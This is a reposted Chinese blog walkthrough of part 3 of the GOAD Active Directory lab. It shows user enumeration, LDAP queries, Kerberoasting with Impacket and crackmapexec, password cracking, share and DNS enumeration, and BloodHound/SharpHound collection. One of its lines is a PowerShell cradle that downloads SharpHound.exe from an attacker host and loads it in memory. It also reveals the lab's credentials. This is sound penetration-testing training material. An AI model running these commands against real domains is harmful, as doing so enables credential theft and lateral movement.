gameofactivedirectory(GOAD)part3–enumerationwithuser

admin 2026-03-03 03:28:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章属于GOAD靶场渗透系列第三部分,核心在于利用已控账户进行活动目录深度信息收集。文中演示了使用Impacket获取用户列表、LDAP跨域查询及Kerberoasting攻击成功破解jon.snow账户密码的过程。随后介绍了SMB共享与DNS枚举技巧,并重点阐述了利用BloodHound的Python脚本与SharpHound工具收集域内数据并导入分析的方法,为后续横向移动提供了清晰的攻击路径视图。 综合评分: 88 文章分类: 内网渗透,渗透测试,实战经验,安全工具


cover_image

game of active directory(GOAD) part 3 – enumeration with user

原创

凉城 凉城

ListSec

2026年2月28日 22:02 江西

又发GOAD靶场序列啦,很早在博客上发的,先拿来水下,这个序列也想更新下去呀。

第三部分继续枚举一些用户,利用之前获取到的凭证看是否能继续收集到一些信息。

vagrant up启动休眠的机器

当你在活动目录上获得一个账户时,首先要做的总是获取完整的用户列表。

一旦获取到用户列表,你可以对所有用户进行密码喷洒(通常你会发现其他账户使用弱密码,如用户名即密码、季节年份组合、社团名称年份组合,甚至可能是 123456)。

在 part2 中,得到了 brandon.stark:iseedeadpeople 帐号密码,

python3 GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra

[*] Querying north.sevenkingdoms.local for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2024-01-17 20:24:06.650023  2024-01-18 00:15:11.751714
Guest &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <never> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<never>
vagrant &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2021-05-12 19:38:55.922520 &nbsp;2024-01-18 00:33:15.469101
krbtgt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2024-01-17 20:59:48.450235 &nbsp;<never>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2024-07-11 21:23:44.436491 &nbsp;<never>
arya.stark &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2024-01-18 00:06:14.609612 &nbsp;2024-05-05 16:39:43.450938
eddard.stark &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2024-01-18 00:06:24.165912 &nbsp;2024-07-21 14:07:26.720083
catelyn.stark &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2024-01-18 00:06:31.753050 &nbsp;<never>
robb.stark &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2024-01-18 00:06:39.977381 &nbsp;2024-07-21 14:08:30.539586
sansa.stark &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2024-01-18 00:06:48.632812 &nbsp;<never>
brandon.stark &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2024-01-18 00:06:56.360121 &nbsp;2024-07-11 22:59:04.257694
rickon.stark &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2024-01-18 00:07:03.163738 &nbsp;<never>
hodor &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2024-01-18 00:07:08.330623 &nbsp;<never>
jon.snow &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2024-01-18 00:07:14.009106 &nbsp;<never>
samwell.tarly &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2024-01-18 00:07:20.334394 &nbsp;2024-07-11 23:17:33.390596
jeor.mormont &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2024-01-18 00:07:26.125439 &nbsp;<never>
sql_svc &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2024-01-18 00:07:30.994621 &nbsp;2024-05-05 15:22:57.352040

LDAP 查询

LDAP 是一种目录服务协议,它提供了一种连接、搜索和修改目录的机制。

在 north.sevenkingdoms.local 上使用 ldap 查询

#安装ldap
sudo&nbsp;apt install ldap-utils

#ldap查询,查找类别为person且类为user的所有对象
ldapsearch -H ldap://192.168.56.11 -D&nbsp;"[email protected]"&nbsp;-w iseedeadpeople -b&nbsp;'DC=north,DC=sevenkingdoms,DC=local'"(&(objectCategory=person)(objectClass=user))"&nbsp;|grep&nbsp;'distinguishedName:'

通过 LDAP 查询也可以查询到用户信息,各域间存在信任关系,所以通过 LDAP 也可以查询其他域中的用户。

sevenkingdoms.local

ldapsearch -H ldap://192.168.56.10 -D&nbsp;"[email protected]"&nbsp;-w iseedeadpeople -b&nbsp;'DC=sevenkingdoms,DC=local'"(&(objectCategory=person)(objectClass=user))"&nbsp;| grep&nbsp;"distinguishedName"

essos.local

在 essos.local 查询,报如下信息:无效的凭证,应该是两者之间没有信任关系导致的。

LDAP 查询参考:https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/

Kerberoasting

从 Active Directory 中获取用户的服务主体名称 (Service Principal Names, SPNs),并请求相应的 Kerberos 服务票据,这个过程被称为 Kerberoasting。

python3 GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes

所有的 hash 保存到 kerberoasting.hashes 文件中

整体流程:

1、认证

脚本使用提供的凭据(用户名和密码)连接到指定的域控制器 (192.168.56.11)。

2、枚举 SPNs

脚本查询 Active Directory,枚举所有具有 SPNs 的用户。这些 SPNs 通常用于 Kerberos 身份验证的服务账户。

3、请求服务票据

根据枚举到的 SPNs,脚本请求相应的 Kerberos 服务票据 (TGS)。这些票据包含加密的服务账户密码哈希。

4、保存票据

请求到的 Kerberos 服务票据的哈希值会被保存到指定的输出文件 (kerberoasting.hashes) 中。

也可以用 cme 去获取

crackmapexec ldap 192.168.56.11 -u brandon.stark -p&nbsp;'iseedeadpeople'&nbsp;-d north.sevenkingdoms.local --kerberoasting KERBEROASTING

尝试使用 [[02.pentesting_A/T-Tools/hashcat]] 破解密码

得到个帐号密码:jon.snow:iknownothing

共享目录枚举

crackmapexec smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares

192.168.56.22 共享目录

Dns 枚举

工具:https://github.com/dirkjanm/adidnsdump

安装:

pip3 install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump

Bloodhound

接下来使用 Bloodhound 分析域内的环境,攻击者必须在目标上运行一个 collector,它将枚举有关域的大量信息。collector 运行完成后,它将输出一系列 .json 文件,供导入到攻击者的 Bloodhound 界面中。

BloodHound.py 数据收集器

用下面得 python 脚本采集数据

https://github.com/dirkjanm/BloodHound.py

采集 north.sevenkingdoms.local 上得数据

python3 bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local -ns 192.168.56.10

注:需要指定 dns,如果不指定就会报如下错误,查看了 BloodHound.py 的官网,很多人都出现了这个错误

同样的,从其他几个域中收集数据

kingslanding.sevenkingdoms.local

python3 bloodhound.py --zip -c All -d sevenkingdoms.local -u [email protected] -p iseedeadpeople -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10

meereen.essos.local

python3 bloodhound.py --zip -c All -d essos.local -u [email protected] -p iseedeadpeople -dc meereen.essos.local -ns 192.168.56.10

通过 BloodHound 收集了三个域的信息

注:不过,观察 GitHub 上的项目我们可以发现,Python 版本的数据收集工具虽然功能强大,但与 .NET 版本相比仍有不足。具体来说,它支持大部分的 BloodHound(SharpHound)功能,但并不是全部,尤其是缺少了一些基于组策略对象(GPO)的收集方法。

sharphound.exe 数据收集器

同样的,通过 sharphound.exe windows 版本重新采集一遍

项目地址:https://github.com/BloodHoundAD/SharpHound

远程桌面连接到域内机器

sudo&nbsp;apt install freerdp2-x11

xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore +clipboard /drive:tmp,/tmp

.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip

也可以用 powershell 在内存中运行 sharpblood

$data&nbsp;= (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem&nbsp;= [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())

启动 Bloodhound

用 kali 启动 bloodhound,导入 bloodhound-python 收集的信息,sharphound 导出的信息无法导入到 bloodhound 中,可能和版本有关系,之前打春秋云镜靶场的时候遇到同样的问题,无法导入 sharphound 收集的内容。

显示所有的域和计算机

MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p

显示所有的用户

MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p

查看域/组/用户的整体地图

MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q

查看用户的 acl

MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true&nbsp;and not tolower(u.name) contains&nbsp;'vagrant'&nbsp;RETURN p

参考

https://mayfly277.github.io/posts/GOADv2-pwning-part3/

https://github.com/BloodHoundAD/SharpHound/releases

https://github.com/dirkjanm/BloodHound.py

https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/


阅读历史

game of active directory(GOAD)域环境搭建

game of active directory(GOAD) part 1 侦查和扫描

game of active directory(GOAD)  part 2 查找用户🤩


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:ListSec 凉城 凉城《game of active directory(GOAD) part 3 – enumeration with user》

CCSP备考和考试经验分享 网络安全文章

CCSP备考和考试经验分享

文章总结: 本文分享了CCSP认证考试的备考策略与实战技巧。建议考生优先考取CISSP以奠定基础,推荐预留2至3个月时间复习。学习资料首选官方教材与练习题,需结
评论:0   参与:  0